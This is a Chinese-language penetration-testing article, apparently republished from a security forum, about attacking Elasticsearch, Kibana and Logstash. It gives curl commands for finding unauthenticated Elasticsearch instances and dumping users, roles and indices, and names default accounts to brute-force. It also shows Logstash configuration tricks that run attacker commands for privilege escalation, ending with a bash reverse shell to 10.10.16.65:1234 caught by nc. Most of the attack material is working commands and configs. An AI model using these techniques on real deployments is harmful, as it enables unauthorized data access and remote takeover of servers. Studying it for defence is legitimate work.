ELK在渗透测试中的利用与安全配置解析
2021-04-07 13:49:19 Author: xz.aliyun.com(查看原文) 阅读量:131 收藏

通过此文章，我将提供有关ELK在攻击利用与安全防护。关于利用ELK 的信息在网上非常罕见。因此，这篇文章只是本人在日常工作和学习中的个人笔记，虽不完善，但可作为学习参考。通过这篇文章希望能为你提供一些在渗透测试期间可能有用的方法。
背景
ELK描述了一个包含三个开源项目的集合：Elasticsearch，Logstash和Kibana。Elasticsearch存储数据并提供快速搜索引擎。Kibana是一个图形界面，允许对Elasticsearch中存储的数据进行分析和可视化。Logstash用于收集从不同来源的数据并将其保存到Elasticsearch中。
重要配置文件

Elasticsearch配置：/etc/elasticsearch/elasticsearch.yml
    Logstash配置：
    /etc/logstash/logstash.yml
    /etc/logstash/pipelines.yml
    /etc/logstash/conf.d/*
    Filebeat配置：/etc/filebeat/filebeat.yml
    Kibana配置：/etc/kibana/kibana.yml

在渗透测试中配置文件中总是有可能包含用户凭证，所以总是值得一看的。

Elasticsearch未授权访问的检测与利用

ElasticSearch 是一款Java编写的企业级搜索服务，启动此服务默认会开放9200端口，可被非法操作数据。

检测是否存在未授权访问
默认情况下，并不总是启用身份验证。可以访问所有存储的数据
HTTP协议访问默认端口端口 9200
返回内容中包含”You Know, for Search”存在未授权访问。如果9200无法访问，说明开发者已经将默认端口更改
通过访问我们得到数据库版本：

curl -X GET "localhost:9200/"
{
  "name" : "userver",
  "cluster_name" : "elasticsearch",
  "cluster_uuid" : "lZNH15okQPWfNHp-Aks0OQ",
  "version" : {
    "number" : "7.9.3",
    "build_flavor" : "default",
    "build_type" : "deb",
    "build_hash" : "c4138e51121ef06a6404866cddc601906fe5c868",
    "build_date" : "2021-03-26T10:36:16.141335Z",
    "build_snapshot" : false,
    "lucene_version" : "8.6.2",
    "minimum_wire_compatibility_version" : "6.8.0",
    "minimum_index_compatibility_version" : "6.0.0-beta1"
  },
  "tagline" : "You Know, for Search"
}

如果可以访问上述信息，可能是禁用身份验证。我们可以继续验证是否禁用了身份验证：

curl -X GET "localhost:9200/_xpack/security/user"
{"error":{"root_cause":[{"type":"exception","reason":"Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."}],"type":"exception","reason":"Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."},"status":500}

如果看到以上信息，在这种情况下，身份验证是被禁用，我们可以访问所有数据。
如果收到以下响应，则启用身份验证：

{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}

在这启用身份验证的情况下，可以暴力破解内置用户，默认的一些内置用户有：

elastic（这是超级用户！Elasticsearch的旧版本具有该用户的默认密码changeme）
logstash_system
kibana_system
apm_system
beats_system
remote_monitoring_user

如果在启用身份验证的情况下仍能够接收版本信息，也可以进行匿名访问。匿名用户名可能是_anonymous。
使用API密钥：

curl -H "Authorization: ApiKey" localhost:9200/

获取有关用户权限的更多信息：

curl -X GET "localhost:9200/_security/user/<USERNAME>"

列出系统上的所有用户：

curl -X GET "localhost:9200/_security/user"

列出系统上的所有角色：

curl -X GET "localhost:9200/_security/role

ES数据库一些在渗透测试中可以利用的URL访问数据查询

curl 'localhost:9200/_cat/indices?v' #列出所有索引
curl 'localhost:9200/_plugin/head/  #ES的head插件，可以对es数据库进行各种设置和数据检索功能的   管理插件
curl 'localhost:9200/_cat/nodes?v'  #可以获取集群的节点列表
curl 'localhost:9200/_nodes?prettify'  #节点设置
curl 'localhost:9200/_status'   #查看状态
curl 'localhost:9200/_search?pretty'  #查询所有索引 默认前10条
curl 'localhost:9200/zjftu/_search?pretty' #查询某一个索引

Kibana

Kibana为在Elasticsearch中建立索引的数据提供搜索和数据可视化功能。该服务默认在端口5601上运行。
Elasticsearch中的用户权限与Kibana中的相同。如果在Elasticsearch中禁用了身份验证，则也应该不使用凭据访问Kibana。并且可以在配置文件/etc/kibana/kibana.yml中找到凭证

Logstash渗透测试和安全配置

Logstash是ELK堆栈的最后一项服务，用于收集，转换和输出日志。这是通过使用包含输入，过滤器和输出模块的管道来实现的
pipeline 配置文件/etc/logstash/pipelines.yml指定使用的pipeline 位置：

# This file is where you define your pipelines. You can define multiple.
# For more information on multiple pipelines, see the documentation:
# https://www.elastic.co/guide/en/logstash/current/multiple-pipelines.html

- pipeline.id: main
  path.config: "/etc/logstash/conf.d/*.conf"
- pipeline.id: example
  path.config: "/usr/share/logstash/pipeline/1*.conf"
  pipeline.workers: 6

你可以找到目前所使用的.conf文件的路径。

权限提升的使用

在尝试提升自己的特权之前，应检查哪个用户正在运行logstash服务，默认情况下，logstash服务以logstash用户的权限运行。

通过logstash权限提升需要满足以下条件：

对.conf文件具有写权限，或者对/etc/logstash/pipelines.yml配置文件可以写
可以重新启动logstash服务或/etc/logstash/logstash.yml包含配置config.reload.automatic：true

可以将以下内容写入文件以执行命令：

input {
  exec {
    command => "whoami"
    interval => 120
  }
}

output {
  file {
    path => "/tmp/output.log"
    codec => rubydebug
  }
}

如果/etc/logstash/logstash.yml中配置了config.reload.automatic：true，则只需等待命令执行，因为Logstash会自动识别新的配置文件或现有配置中的任何更改。否则需要重启logstash服务。

Logstash提权二

Logstash的conf.d配置目录通常由三个文件组成（input、filter、output）。在output.conf中执行命令。如果你具有logstash的基本知识，则应该了解这三个文件的功能。input.conf用于配置数据源。filter.conf用于处理数据，通常与grok结合使用。output.conf用于输出处理后的数据。我们可以发现在output.conf中的exec

这个利用非常明显。创建一个/opt/kibana/名称以开头的文件logstah_。并确保grok可以正确解析文件中的内容。然后，命令可以成功执行。最重要的部分是如何创建要解析的comando内容。因此，需要知道如何使用grok通过正则表达式识别特定字段。

grok 语法：%{SYNTAX:SEMANTIC} 即 %{正则:自定义字段名}
官方提供了很多正则:https://github.com/logstash-plugins/logstash-patterns-core/blob/master/patterns
​  grok debug工具： http://grokdebug.herokuapp.com

表达是很简单的。如果你知道正则表达式，那么这里的表达式将很容易理解。

修改配置文件如下
filter.conf

filter {
        if [type] == "execute" {
                grok {
                        match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
                }
        }
}

input.conf

input {
        file {
                path => "/opt/kibana/logstash_*"
                start_position => "beginning"
                sincedb_path => "/dev/null"
                stat_interval => "10 second"
                type => "execute"
                mode => "read"
        }
}

output.conf

output {
        if [type] == "execute" {
                stdout { codec => json }
                exec {
                        command => "%{comando} &"
                }
        }
}

接下来创建好可以解析的文件了，并把我我们要执行的命令放进入。反向shell命令我们直接用bash。所以我使用bash -i >& /dev/tcp/10.10.16.65/1234 0>&1。将内容写入相应的文件：

echo "Ejecutar  comando: bash -i >& /dev/tcp/10.10.16.65/1234 0>&1" > /opt/kibana/logstash_1.txt

使用nc监听端口1234，稍等片刻，就会得到反向shell。


文章来源: http://xz.aliyun.com/t/9370
如有侵权请联系:admin#unsafe.sh